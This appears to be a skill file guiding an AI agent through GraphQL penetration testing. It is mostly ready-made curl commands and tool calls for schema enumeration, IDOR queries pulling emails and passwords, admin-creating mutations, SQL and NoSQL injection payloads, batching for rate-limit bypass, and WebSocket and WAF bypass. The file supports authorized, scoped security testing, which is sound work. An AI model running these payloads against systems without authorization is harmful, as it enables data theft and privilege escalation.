graphql-pentest

name	graphql-pentest
description	Guides GraphQL injection and authorization testing with introspection, field enumeration, batch attacks, and nested query abuse. Use when GraphQL endpoints, introspection, or query syntax are discovered.

GraphQL Injection Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.

Triggers

• Endpoints at /graphql, /graphiql, /api/graphql, or similar paths
• POST bodies with "query": "..." JSON structure
• GraphiQL or GraphQL Playground interfaces exposed
• Introspection or schema suggestion errors in responses
• Nested query syntax in API traffic

Workflow

Task Progress:
- [ ] Discover endpoint (GET/POST); probe with introspection query
- [ ] Run introspection or schema suggestion/bruteforce if disabled
- [ ] Map queries/mutations; test IDOR on arguments
- [ ] Test batching for rate-limit bypass; inject in variables
- [ ] Document with request/response evidence

Detection

Endpoint discovery and introspection

CLI (primary for web vulns):

python3 graphw00f.py -d -t http://<target>/graphql
python3 graphqlmap.py -u http://<target>/graphql --method POST
curl -X POST "http://<target>/graphql" -H "Content-Type: application/json" -d '{"query":"{__typename}"}'

MSF MCP:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/graphql_introspection",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "TARGETURI": "/graphql", "SCHEMA": "true"}
)

Full introspection query

CLI (primary):

{__schema{types{name kind fields{name type{name kind ofType{name kind}}}}}}

MSF MCP: Same graphql_introspection module with SCHEMA: "true".

Schema enumeration via suggestions

CLI (primary):

python3 clairvoyance.py http://<target>/graphql -w wordlist.txt
curl -X POST "http://<target>/graphql" -d '{"query":"{ usre { id name } }"}'

Typo triggers Did you mean "user"? revealing valid fields.

MSF MCP: No direct module when introspection disabled.

Exploitation by variant

IDOR via arguments

CLI (primary):

curl -X POST "http://<target>/graphql" -H "Authorization: Bearer <token>" \
  -d '{"query":"{ user(id: \"1002\") { email password } }"}'

Swap IDs across authenticated sessions.

MSF MCP: No direct module.

Mutations abuse

CLI (primary):

curl -X POST "http://<target>/graphql" \
  -d '{"query":"mutation { addUser(name:\"attacker\", role:\"admin\") { id } }"}'

MSF MCP: No direct module.

SQL/NoSQL injection in variables

CLI (primary):

curl -X POST "http://<target>/graphql" \
  -d '{"query":"query GetUser($id: String!) { user(id: $id) { name } }","variables":{"id":"1'\'' OR '\''1'\''='\''1"}}'
curl -X POST "http://<target>/graphql" \
  -d '{"query":"query GetUser($id: String!) { user(id: $id) { name } }","variables":{"id":{"$gt":""}}}'

MSF MCP: Chain to sqli-pentest or nosql-injection-pentest modules when backend confirmed.

Batching (rate-limit bypass)

CLI (primary):

curl -X POST "http://<target>/graphql" -d '[
  {"query":"{ user(id:1) { email } }"},
  {"query":"{ user(id:2) { email } }"},
  {"query":"{ user(id:3) { email } }"}
]'

Alias batching:

query { a1: user(id:1) { email } a2: user(id:2) { email } }

MSF MCP: No direct module.

APQ abuse (Automatic Persisted Queries)

CLI (primary):

# APQ sends hash instead of full query; test hash collision or registry leak
curl -X POST "http://<target>/graphql" \
  -d '{"extensions":{"persistedQuery":{"version":1,"sha256Hash":"<known_hash>"}},"variables":{"id":"1"}}'
# Brute known APQ hashes from client JS bundles
grep -r "persistedQuery" ./client-js/

Extract query hashes from frontend bundles; replay with modified variables for auth bypass.

MSF MCP: No direct module.

Subscription WebSocket smuggling

CLI (primary):

# wscat or websocat to graphql-ws endpoint
websocat "ws://<target>/graphql" -H "Sec-WebSocket-Protocol: graphql-transport-ws"
# Send: {"type":"connection_init"} then {"id":"1","type":"subscribe","payload":{"query":"{ adminUsers { password } }"}}
# Test auth bypass on WS vs HTTP; smuggle subscription on shared connection

Test subscription auth separately from HTTP queries; WS may lack same authorization.

MSF MCP: No direct module.

@deprecated field leakage

CLI (primary):

{
  __schema {
    types {
      name
      fields(includeDeprecated: true) {
        name
        isDeprecated
        deprecationReason
      }
    }
  }
}

Deprecated fields often retain sensitive data (password, ssn) without removal.

MSF MCP:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/graphql_introspection",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "TARGETURI": "/graphql", "SCHEMA": "true"}
)

InQL commands

CLI (primary):

# InQL Burp extension generates queries from introspection
# CLI equivalent with graphqlmap:
python3 graphqlmap.py -u http://<target>/graphql --method POST --json
python3 graphqlmap.py -u http://<target>/graphql --method POST --dump-schema
# Dump schema to file for offline IDOR field hunting
python3 graphqlmap.py -u http://<target>/graphql --method POST --brute

MSF MCP: graphql_introspection for automated schema dump.

WAF bypass

CLI (primary):

curl "http://<target>/graphql?query={__schema{types{name}}}"
python3 clairvoyance.py http://<target>/graphql -w wordlist.txt

GET query string when POST blocked; fragment injection; alias batching; application/graphql content type.

MSF MCP: No direct module.

Impact escalation

Stage	CLI	MSF MCP
Schema map	InQL, graphqlmap, clairvoyance	graphql_introspection
Data leak	Query sensitive deprecated fields	introspection
Auth bypass	Mutation abuse	N/A
IDOR	Swap object IDs	N/A

Tool reference

python3 graphqlmap.py -u http://<target>/graphql --method POST --dump-schema
python3 graphw00f.py -d -t http://<target>/graphql
python3 clairvoyance.py http://<target>/graphql -w wordlist.txt
# InQL: Burp extension for query generation from schema

Related skills

• web-app-pentest - overall web testing flow
• idor-pentest - unauthorized object access via query arguments
• nosql-injection-pentest - MongoDB backend via GraphQL variables
• sqli-pentest - SQL backend via GraphQL variables